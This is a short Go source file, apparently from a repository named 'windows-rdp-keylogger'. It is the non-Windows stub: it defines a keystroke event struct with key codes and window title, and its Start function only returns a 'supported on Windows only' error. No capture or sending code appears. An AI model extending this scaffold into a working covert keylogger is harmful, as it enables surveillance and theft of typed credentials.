Files
windows-rdp-keylogger/internal/keylog/keylog_other.go
T

27 lines
613 B
Go

//go:build !windows
package keylog
import (
"fmt"
)
// KeyEvent represents a captured keystroke with context.
type KeyEvent struct {
TimestampMs int64
VKCode uint16
ScanCode uint16
Flags uint32
WindowTitle string
}
// Start begins capturing global keyboard events. On non-Windows platforms,
// this returns an error since the implementation uses Windows-specific APIs.
func Start() (<-chan KeyEvent, func(), error) {
return nil, nil, fmt.Errorf("keylogger is only supported on Windows")
}
// FormatEvent formats a key event for display.
func FormatEvent(k KeyEvent) string {
return ""
}